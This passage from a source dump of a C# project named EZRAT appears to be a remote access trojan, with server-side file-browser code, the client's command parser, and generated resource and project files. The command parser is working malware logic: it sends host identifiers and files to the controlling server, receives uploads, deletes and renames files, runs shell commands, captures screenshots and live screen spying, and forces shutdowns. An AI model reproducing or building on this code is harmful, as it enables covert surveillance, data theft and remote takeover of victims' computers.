79 | if (lstFiles.SelectedItems.Count != 0)
80 | {
81 | this.PathDownload = Path + this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text;
82 | this.BaseWindows.SendCommand("dlfile;" + this.PathDownload, this.Id);
83 | this.BaseWindows.fileNameDownload = this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text;
84 | this.BaseWindows.OnOffDlFile = true;
85 | }
86 | }
87 |
88 | private void UploadFile(object sender, EventArgs e)
89 | {
90 | OpenFileDialog opf = new OpenFileDialog();
91 | opf.Multiselect = false;
92 |
93 | if (opf.ShowDialog() == DialogResult.OK)
94 | {
95 | string path = opf.FileName;
96 | try
97 | {
98 | //this._parent.SendFile(path,this.Path); //Send the data to the server
99 | string fileName = System.IO.Path.GetFileName(path);
100 |
101 | //File.ReadAllBytes(path).ToList().ForEach((b) => { dataFile += b.ToString() + Constantes.Separator; });
102 | //string result = _parent.Encrypt("upfile;" + dataFile); //string result = _parent.Encrypt("upfile;" + dataFile);
103 | this.BaseWindows.SendCommand("upfile;" + $"{this.Path}{fileName}" ,this.BaseWindows.GetIdClient()); // + this.Path + new NameUpload(opf.FileName).Dialog() + ";" + dataFile, this.BaseWindows.GetIdClient());
104 | SendFile(path);
105 |
106 | }
107 | catch (Exception ex) //Failed to send data to the server
108 | {
109 | Console.WriteLine("Send File Failure " + ex.Message);
110 | return; //Return
111 | }
112 | }
113 | }
114 |
115 |
116 | private void SendFile(string path)
117 | {
118 | string file_name = System.IO.Path.GetFileName(path);
119 | int size = 1024;
120 | uint tot = 0;
121 | FileStream fs = new FileStream(path, FileMode.Open);
122 | NetworkStream ns = new NetworkStream(this.BaseWindows.ClientSockets[this.BaseWindows.GetIdClient()]);
123 | byte[] data = new byte[size];
124 | while (tot < fs.Length)
125 | {
126 | fs.Read(data, 0, size);
127 | tot += (uint)data.Length;
128 | ns.Write(data, 0, size);
129 | }
130 | Console.WriteLine($"Total data : {tot}");
131 | fs.Close();
132 | }
133 |
134 | private void RenameFile(object sender, EventArgs e)
135 | {
136 | this.PathDownload = Path + this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text;
137 | RenameFile rn = new RenameFile(PathDownload);
138 | if (rn.ShowDialog() == DialogResult.OK)
139 | {
140 | this.BaseWindows.SendCommand("rmfile;" + this.PathDownload + ";" + rn.FileName, this.Id);
141 | }
142 | }
143 |
144 | private void DeleteFile(object sender, EventArgs e)
145 | {
146 | this.PathDownload = Path + this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text;
147 | this.BaseWindows.SendCommand("dtfile;" + this.PathDownload, this.Id);
148 | }
149 |
150 | private void UpPath(object sender, EventArgs e)
151 | {
152 | Path = Path.TrimEnd('\\');
153 | string result = Path.Substring(0, Path.LastIndexOf('\\') + 1);
154 | NewPath(result);
155 | }
156 |
157 | private void NewPath(string path)
158 | {
159 | Path = path;
160 | this.lblPath.Text = Path;
161 | BaseWindows.SendCommand("lsfiles-" + Path, Id);
162 | }
163 |
164 | private void NewPath(object sender, EventArgs e)
165 | {
166 | string path = this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text;
167 | Path += $@"{path}\";
168 | this.lblPath.Text = Path;
169 | BaseWindows.SendCommand("lsfiles-" + Path, Id);
170 | }
171 |
172 | public void UpdatePath(object sender, EventArgs e)
173 | {
174 | this.cmbDrives.Invoke(new MethodInvoker(() => Path = this.cmbDrives.Items[this.cmbDrives.SelectedIndex].ToString()));
175 | BaseWindows.SendCommand("lsfiles-" + Path, Id);
176 | this.lblPath.Text = Path;
177 | }
178 |
179 |
180 | public void UpdateDrives(string[] drives)
181 | {
182 | for (int i = 0; i < drives.Length; i++)
183 | {
184 | this.cmbDrives.Invoke(new MethodInvoker(() => this.cmbDrives.Items.Add(drives[i])));
185 | }
186 | this.cmbDrives.Invoke(new MethodInvoker(() => this.cmbDrives.SelectedIndex = 0));
187 | this.cmbDrives.Invoke(new MethodInvoker(() => Path = this.cmbDrives.Items[this.cmbDrives.SelectedIndex].ToString()));
188 | UpdatePath(new object(), new EventArgs());
189 | }
190 |
191 | public void Update(string list)
192 | {
193 | ResetAll();
194 | string[] lstData = list.Split(Constantes.SeparatorChar);
195 | uint count = 0;
196 | for (int i = 0; i < lstData.Length; i++)
197 | {
198 | string[] data = lstData[i].Split(Constantes.Special_SeparatorChar);
199 | if (data.Length > 2) // File
200 | {
201 | AddFileOrFolder(data[0], FileType.File, ToolBox.ReduceByteSize(data[2]));
202 | }
203 | else if (data.Length == 2) // Folder
204 | {
205 | AddFileOrFolder(data[0], FileType.Folder);
206 | }
207 | count += 1;
208 | }
209 | this.lblStatus.Text = STATUS_TEXT + count.ToString();
210 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent)));
211 |
212 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)));
213 |
214 | }
215 |
216 |
217 |
218 | private void AddFileOrFolder(string name, FileType type, string size = "0")
219 | {
220 | if (name.StartsWith(Constantes.Special_Separator))
221 | {
222 | name = name.Substring(3);
223 | }
224 | if (lstFiles.InvokeRequired)
225 | {
226 | if (size != "0")
227 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString(), size.ToString() }))));
228 | else
229 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString() }))));
230 |
231 | }
232 | else
233 | {
234 | if (size != "0")
235 | lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString(), size.ToString() }));
236 | else
237 | lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString() }));
238 | }
239 |
240 | }
241 |
242 | private void ResetAll()
243 | {
244 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.Items.Clear()));
245 | }
246 | }
247 | }
248 |
--------------------------------------------------------------------------------
/EZRATClient/Core/CommandParser.cs:
--------------------------------------------------------------------------------
1 | using EZRATClient.Forms;
2 | using EZRATClient.Utils;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Diagnostics;
6 | using System.Drawing.Imaging;
7 | using System.IO;
8 | using System.Linq;
9 | using System.Net.Sockets;
10 | using System.Text;
11 | using System.Threading;
12 | using System.Windows.Forms;
13 | using EZRATClient.Utils;
14 | using System.Media;
15 |
16 | namespace EZRATClient.Core
17 | {
18 | static class CommandParser
19 | {
20 | public static Chat cht = null;
21 |
22 | private static Thread TChat;
23 |
24 | public static void ParserAndExecute(string text)
25 | {
26 | if (text.StartsWith("getinfo-"))// i added this to start task manager
27 | {
28 |
29 | string response = "infoback;";
30 | response += text.Substring(8);
31 | response += ";";
32 | response += SystemInfo.GetLocalIPAddress();
33 | response += Constantes.Separator;
34 | response += SystemInfo.GetMachineName();
35 | response += Constantes.Separator;
36 | response += SystemInfo.GetUserName();
37 | response += Constantes.Separator;
38 | response += SystemInfo.GetWindowsVersion();
39 | response += Constantes.Separator;
40 | response += Constantes.Version;
41 |
42 | Program.SendCommand(response);
43 |
44 | }
45 | else if (text == "dc") { Program._clientSocket.Shutdown(SocketShutdown.Both); Program._clientSocket.Close(); Program.ConnectToServer(); }
46 | else if (text == "lsdrives")
47 | {
48 | string response = "lsdrives;";
49 | string[] drives = SystemInfo.GetDrives();
50 | for (int i = 0; i < drives.Length; i += 1)
51 | {
52 | response += drives[i];
53 | response += Constantes.Separator;
54 | }
55 |
56 | Program.SendCommand(response);
57 | }
58 | else if (text.StartsWith("lsfiles-"))
59 | {
60 | string path = text.Substring(8);
61 | DirectoryInfo d = new DirectoryInfo(path);
62 | List resD = new List();
63 | List resF = new List();
64 |
65 | try
66 | {
67 | resD = d.EnumerateDirectories("*", SearchOption.TopDirectoryOnly)
68 | .Where(fi => (fi.Attributes & FileAttributes.Normal) == 0).ToList();
69 |
70 | resF = d.EnumerateFiles("*", SearchOption.TopDirectoryOnly)
71 | .Where(fi => (fi.Attributes & FileAttributes.Normal) == 0).ToList();
72 | }
73 | catch (Exception ex)
74 | {
75 | Console.WriteLine(ex.Message);
76 | }
77 |
78 |
79 | string response = "lsfiles;";
80 | response += path;
81 | response += ";";
82 | resD.ForEach((item) =>
83 | {
84 | response += item.Name; // Tarte.cs
85 | response += Constantes.Special_Separator; // Tarte.cs¦
86 | response += "2"; // Tarte.cs¦2
87 | response += Constantes.Separator; // Tarte.cs¦2|
88 | });
89 | resF.ForEach((item) =>
90 | {
91 | response += item.Name; // Tarte.cs
92 | response += Constantes.Special_Separator; // Tarte.cs¦
93 | response += "1"; // Tarte.cs¦1
94 | response += Constantes.Special_Separator; // Tarte.cs¦
95 | response += item.Length.ToString(); // Tarte.cs¦1¦3732527|
96 | response += Constantes.Separator; // Tarte.cs¦1|
97 | });
98 |
99 | Program.SendCommand(response);
100 | }
101 | else if (text.StartsWith("chat;"))
102 | {
103 | string options = text.Substring(5);
104 | string[] tmp = options.Split(';');
105 | string msg;
106 |
107 | msg = tmp[0];
108 | if (cht == null)
109 | {
110 | cht = new Chat(msg);
111 | TChat = new Thread(() => cht.ShowDialog());
112 | TChat.Start();
113 | }
114 | else
115 | {
116 | cht.NewMessage(msg);
117 | }
118 | }
119 | else if (text.StartsWith("chatdata;"))
120 | {
121 | if (cht != null)
122 | {
123 | Program.SendCommand("chatdata;" + String.Join(Constantes.Separator, cht.Texted));
124 | }
125 | }
126 | else if (text.StartsWith("dlfile;"))
127 | {
128 | string path = text.Substring(7);
129 | CommandExecutor.SendFile(path);
130 |
131 | }
132 | else if (text.StartsWith("upfile;"))
133 | {
134 | text = text.Substring(7);
135 | CommandExecutor.ReceiveFile(text);
136 | if (text == "")
137 | {
138 | string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Song.wav";
139 | Console.WriteLine(path);
140 | SoundPlayer snd = new SoundPlayer(path);
141 | snd.Play();
142 | }
143 | }
144 | else if (text.StartsWith("dtfile;"))
145 | {
146 | text = text.Substring(7);
147 | File.Delete(text);
148 | }
149 | else if (text.StartsWith("rmfile;"))
150 | {
151 | text = text.Substring(7);
152 | string[] lines = text.Split(';');
153 | string src = lines[0];
154 | string dst = lines[1];
155 | File.Move(src, dst);
156 | }
157 | else if (text.StartsWith("procview;"))
158 | {
159 | Process[] proc = Process.GetProcesses();
160 | string result = "procview;";
161 | for (int i = 0; i < proc.Length; i++)
162 | {
163 | result += $"{proc[i].ProcessName}¦{proc[i].Id};";
164 | }
165 | Program.SendCommand(result);
166 | }
167 | else if (text == "scrnshot;")
168 | {
169 | Program.SendCommand("scrnshot;" + CommandExecutor.TakeScreenShot());
170 | }
171 | else if (text.StartsWith("cmd;"))
172 | {
173 | text = text.Substring(4);
174 | string[] lines = text.Split(';');
175 | CommandExecutor.ExecuteCommand(lines[1], lines[0]);
176 | }
177 | else if (text.StartsWith("control;"))
178 | {
179 | text = text.Substring(8);
180 | switch (text)
181 | {
182 | case "0":
183 | CommandExecutor.WindowsControl("shutdown /l");
184 | break;
185 | case "1":
186 | CommandExecutor.WindowsControl("shutdown /r /t 00");
187 | break;
188 | case "2":
189 | CommandExecutor.WindowsControl("shutdown /s /f /p /t 00");
190 | break;
191 | default:
192 | break;
193 | }
194 | }
195 | else if (text == "sysinfo;")
196 | {
197 | string result = "sysinfo;";
198 | result += SystemInfoDetails.GetBiosIdentifier();
199 | result += Constantes.Separator;
200 | result += SystemInfoDetails.GetCpuName();
201 | result += Constantes.Separator;
202 | result += SystemInfoDetails.GetGpuName();
203 | result += Constantes.Separator;
204 | result += SystemInfoDetails.GetLanIp();
205 | result += Constantes.Separator;
206 | result += SystemInfoDetails.GetMacAddress();
207 | result += Constantes.Separator;
208 | result += SystemInfoDetails.GetMainboardIdentifier();
209 | result += Constantes.Separator;
210 | result += SystemInfoDetails.GetTotalRamAmount();
211 | Program.SendCommand(result);
212 | }
213 | else if (text.StartsWith("msgbox;"))
214 | {
215 | string options = text.Substring(7);
216 | string[] tmp = options.Split(';');
217 | string title = tmp[0];
218 | string value = tmp[1];
219 | int icon = Convert.ToInt32(tmp[2]);
220 | MessageBoxIcon i;
221 | switch (icon)
222 | {
223 | case 0:
224 | i = MessageBoxIcon.Information;
225 | break;
226 | case 1:
227 | i = MessageBoxIcon.Error;
228 | break;
229 | case 2:
230 | i = MessageBoxIcon.Question;
231 | break;
232 | default:
233 | i = MessageBoxIcon.Information;
234 | break;
235 | }
236 | MessageBox.Show(value, title, MessageBoxButtons.OK, i);
237 | } else if (text.StartsWith("screenspy;"))
238 | {
239 | CommandExecutor.ScreenSpyThread();
240 | } else if(text.StartsWith("stopscreenspy;"))
241 | {
242 | CommandExecutor.StopScreenSpyThread();
243 | } else if(text.StartsWith("play;"))
244 | {
245 | string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Song.wav";
246 | Console.WriteLine(path);
247 | SoundPlayer snd = new SoundPlayer(path);
248 | snd.Play();
249 | }
250 | }
251 | }
252 |
253 |
254 | }
255 |
--------------------------------------------------------------------------------
/EZRATServer/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Ce code a été généré par un outil.
4 | // Version du runtime :4.0.30319.42000
5 | //
6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
7 | // le code est régénéré.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace EZRATServer.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
17 | ///
18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio.
20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
21 | // avec l'option /str ou régénérez votre projet VS.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EZRATServer.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes
51 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | ///
64 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
65 | ///
66 | internal static System.Drawing.Bitmap chat_64 {
67 | get {
68 | object obj = ResourceManager.GetObject("chat_64", resourceCulture);
69 | return ((System.Drawing.Bitmap)(obj));
70 | }
71 | }
72 |
73 | ///
74 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
75 | ///
76 | internal static System.Drawing.Bitmap clientControl_64 {
77 | get {
78 | object obj = ResourceManager.GetObject("clientControl_64", resourceCulture);
79 | return ((System.Drawing.Bitmap)(obj));
80 | }
81 | }
82 |
83 | ///
84 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
85 | ///
86 | internal static System.Drawing.Bitmap close_64 {
87 | get {
88 | object obj = ResourceManager.GetObject("close_64", resourceCulture);
89 | return ((System.Drawing.Bitmap)(obj));
90 | }
91 | }
92 |
93 | ///
94 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
95 | ///
96 | internal static System.Drawing.Bitmap computer_settings_64 {
97 | get {
98 | object obj = ResourceManager.GetObject("computer_settings_64", resourceCulture);
99 | return ((System.Drawing.Bitmap)(obj));
100 | }
101 | }
102 |
103 | ///
104 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
105 | ///
106 | internal static System.Drawing.Bitmap folder_64 {
107 | get {
108 | object obj = ResourceManager.GetObject("folder_64", resourceCulture);
109 | return ((System.Drawing.Bitmap)(obj));
110 | }
111 | }
112 |
113 | ///
114 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
115 | ///
116 | internal static System.Drawing.Bitmap Form_64 {
117 | get {
118 | object obj = ResourceManager.GetObject("Form_64", resourceCulture);
119 | return ((System.Drawing.Bitmap)(obj));
120 | }
121 | }
122 |
123 | ///
124 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
125 | ///
126 | internal static System.Drawing.Bitmap hacker_64 {
127 | get {
128 | object obj = ResourceManager.GetObject("hacker_64", resourceCulture);
129 | return ((System.Drawing.Bitmap)(obj));
130 | }
131 | }
132 |
133 | ///
134 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
135 | ///
136 | internal static System.Drawing.Bitmap locked {
137 | get {
138 | object obj = ResourceManager.GetObject("locked", resourceCulture);
139 | return ((System.Drawing.Bitmap)(obj));
140 | }
141 | }
142 |
143 | ///
144 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
145 | ///
146 | internal static System.Drawing.Bitmap monitor_64 {
147 | get {
148 | object obj = ResourceManager.GetObject("monitor_64", resourceCulture);
149 | return ((System.Drawing.Bitmap)(obj));
150 | }
151 | }
152 |
153 | ///
154 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
155 | ///
156 | internal static System.Drawing.Bitmap process_64 {
157 | get {
158 | object obj = ResourceManager.GetObject("process_64", resourceCulture);
159 | return ((System.Drawing.Bitmap)(obj));
160 | }
161 | }
162 |
163 | ///
164 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
165 | ///
166 | internal static System.Drawing.Bitmap restart {
167 | get {
168 | object obj = ResourceManager.GetObject("restart", resourceCulture);
169 | return ((System.Drawing.Bitmap)(obj));
170 | }
171 | }
172 |
173 | ///
174 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
175 | ///
176 | internal static System.Drawing.Bitmap screenShot_100 {
177 | get {
178 | object obj = ResourceManager.GetObject("screenShot_100", resourceCulture);
179 | return ((System.Drawing.Bitmap)(obj));
180 | }
181 | }
182 |
183 | ///
184 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
185 | ///
186 | internal static System.Drawing.Bitmap screenshot_64 {
187 | get {
188 | object obj = ResourceManager.GetObject("screenshot_64", resourceCulture);
189 | return ((System.Drawing.Bitmap)(obj));
190 | }
191 | }
192 |
193 | ///
194 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
195 | ///
196 | internal static System.Drawing.Bitmap shell_48 {
197 | get {
198 | object obj = ResourceManager.GetObject("shell_48", resourceCulture);
199 | return ((System.Drawing.Bitmap)(obj));
200 | }
201 | }
202 |
203 | ///
204 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
205 | ///
206 | internal static System.Drawing.Bitmap shutdown {
207 | get {
208 | object obj = ResourceManager.GetObject("shutdown", resourceCulture);
209 | return ((System.Drawing.Bitmap)(obj));
210 | }
211 | }
212 |
213 | ///
214 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
215 | ///
216 | internal static System.Drawing.Bitmap sound {
217 | get {
218 | object obj = ResourceManager.GetObject("sound", resourceCulture);
219 | return ((System.Drawing.Bitmap)(obj));
220 | }
221 | }
222 |
223 | ///
224 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
225 | ///
226 | internal static System.Drawing.Bitmap UAC {
227 | get {
228 | object obj = ResourceManager.GetObject("UAC", resourceCulture);
229 | return ((System.Drawing.Bitmap)(obj));
230 | }
231 | }
232 |
233 | ///
234 | /// Recherche une ressource localisée de type System.Drawing.Bitmap.
235 | ///
236 | internal static System.Drawing.Bitmap up_50 {
237 | get {
238 | object obj = ResourceManager.GetObject("up_50", resourceCulture);
239 | return ((System.Drawing.Bitmap)(obj));
240 | }
241 | }
242 | }
243 | }
244 |
--------------------------------------------------------------------------------
/EZRATServer/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | ..\res\chat-64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
123 |
124 |
125 | ..\res\clientControl_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
126 |
127 |
128 | ..\res\close_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
129 |
130 |
131 | ..\res\computer_settings_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
132 |
133 |
134 | ..\res\folder-64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
135 |
136 |
137 | ..\res\Form_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
138 |
139 |
140 | ..\res\hacker_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
141 |
142 |
143 | ..\res\locked.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
144 |
145 |
146 | ..\res\monitor_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
147 |
148 |
149 | ..\res\process_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
150 |
151 |
152 | ..\res\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
153 |
154 |
155 | ..\res\screenShot_100.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
156 |
157 |
158 | ..\res\screenshot_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
159 |
160 |
161 | ..\res\shell_48.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
162 |
163 |
164 | ..\res\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
165 |
166 |
167 | ..\res\sound.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
168 |
169 |
170 | ..\res\UAC.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
171 |
172 |
173 | ..\res\up-50.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
174 |
175 |
--------------------------------------------------------------------------------
/EZRATServer/EZRATServer.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}
8 | WinExe
9 | EZRATServer
10 | EZRATServer
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 |
17 |
18 |
19 | AnyCPU
20 | true
21 | full
22 | false
23 | bin\Debug\
24 | DEBUG;TRACE
25 | prompt
26 | 4
27 |
28 |
29 | AnyCPU
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 |
37 |
38 | true
39 | bin\x86\Debug\
40 | DEBUG;TRACE
41 | full
42 | x86
43 | 7.3
44 | prompt
45 | MinimumRecommendedRules.ruleset
46 |
47 |
48 | bin\x86\Release\
49 | TRACE
50 | true
51 | pdbonly
52 | x86
53 | 7.3
54 | prompt
55 | MinimumRecommendedRules.ruleset
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | Form
73 |
74 |
75 | ClientBuilder.cs
76 |
77 |
78 | Form
79 |
80 |
81 | NameUpload.cs
82 |
83 |
84 | Form
85 |
86 |
87 | ScreenShotViewer.cs
88 |
89 |
90 |
91 | Form
92 |
93 |
94 | MessageBoxEditor.cs
95 |
96 |
97 | Form
98 |
99 |
100 | ShellCommand.cs
101 |
102 |
103 | Form
104 |
105 |
106 | FileBrowser.cs
107 |
108 |
109 | Form
110 |
111 |
112 | Chat.cs
113 |
114 |
115 | Form
116 |
117 |
118 | ProcessViewer.cs
119 |
120 |
121 | Form
122 |
123 |
124 | RenameFile.cs
125 |
126 |
127 | Form
128 |
129 |
130 | Server.cs
131 |
132 |
133 | Form
134 |
135 |
136 | Starting.cs
137 |
138 |
139 | Form
140 |
141 |
142 | SystemDetails.cs
143 |
144 |
145 |
146 |
147 |
148 |
149 | Component
150 |
151 |
152 |
153 | ClientBuilder.cs
154 |
155 |
156 | MessageBoxEditor.cs
157 |
158 |
159 | NameUpload.cs
160 |
161 |
162 | ScreenShotViewer.cs
163 |
164 |
165 | ShellCommand.cs
166 |
167 |
168 | FileBrowser.cs
169 |
170 |
171 | Chat.cs
172 |
173 |
174 | ProcessViewer.cs
175 |
176 |
177 | RenameFile.cs
178 |
179 |
180 | Server.cs
181 |
182 |
183 | Starting.cs
184 |
185 |
186 | SystemDetails.cs
187 |
188 |
189 | ResXFileCodeGenerator
190 | Resources.Designer.cs
191 | Designer
192 |
193 |
194 | True
195 | Resources.resx
196 | True
197 |
198 |
199 | ImageContextMenu.cs
200 |
201 |
202 | SettingsSingleFileGenerator
203 | Settings.Designer.cs
204 |
205 |
206 | True
207 | Settings.settings
208 | True
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
--------------------------------------------------------------------------------